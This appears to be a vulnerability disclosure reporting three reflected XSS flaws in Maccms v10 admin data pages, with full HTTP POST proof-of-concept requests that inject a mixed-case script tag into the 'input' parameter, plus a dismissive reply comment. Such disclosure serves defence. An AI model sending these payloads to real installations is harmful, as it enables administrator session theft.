Maccms v10 v2024.1000.3000 has multiple reflective XSS vulnerabilities

[Hebing123]

Summary

There are multiple reflective XSS vulnerabilities was found in Maccms v10 v2024.1000.3000. The vulnerability allows arbitrary HTML/javascript code to be executed, potentially resulting in the theft of administrator cookies.

Details

We learn that in the 026a289, The manufacturer has added the htmlspecialchars function and the mac_filter_xss method to all the variables mentioned in CVE-2022-26573.

However, we found that {$param.input} is not filtered in the parent-onselectresult front-end function for some files.

Because {$param.input} is referenced directly, there are three reflective XSS vulnerabilities.
It is worth noting that although the newly discovered vulnerability is the same as the parameter name indicated by CVE-2022-26573, the occurrence point is different.

Proof of Concept (POC)

POST /sadmin.php/admin/art/data.html HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.160.154:1023/
Cookie: PHPSESSID=80rhg1eh7aj30855mdjb2nh2di
Content-Length: 106
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Host: 192.168.160.154:1023
Connection: Keep-alive

input=1"><ScRiPt%20>alert(1)</ScRiPt>&level=9&lock=0&order=art_time&pic=1&select=1&status=0&type=5&wd=1

POST /sadmin.php/admin/vod/data.html HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.160.154:1023/
Cookie: PHPSESSID=80rhg1eh7aj30855mdjb2nh2di
Content-Length: 100
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Host: 192.168.160.154:1023
Connection: Keep-alive

input=1"><ScRiPt>alert(1)</ScRiPt>&level=9&lock=0&order=art_time&pic=1&select=1&status=0&type=5&wd=1

POST /sadmin.php/admin/website/data.html HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.160.154:1023/
Cookie: PHPSESSID=80rhg1eh7aj30855mdjb2nh2di
Content-Length: 100
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Host: 192.168.160.154:1023
Connection: Keep-alive

input=1"><ScRiPt>alert(1)</ScRiPt>&level=9&lock=0&order=art_time&pic=1&select=1&status=0&type=5&wd=1

[Alicexs]

别太认真 不然咋靠这东西赚你们的钱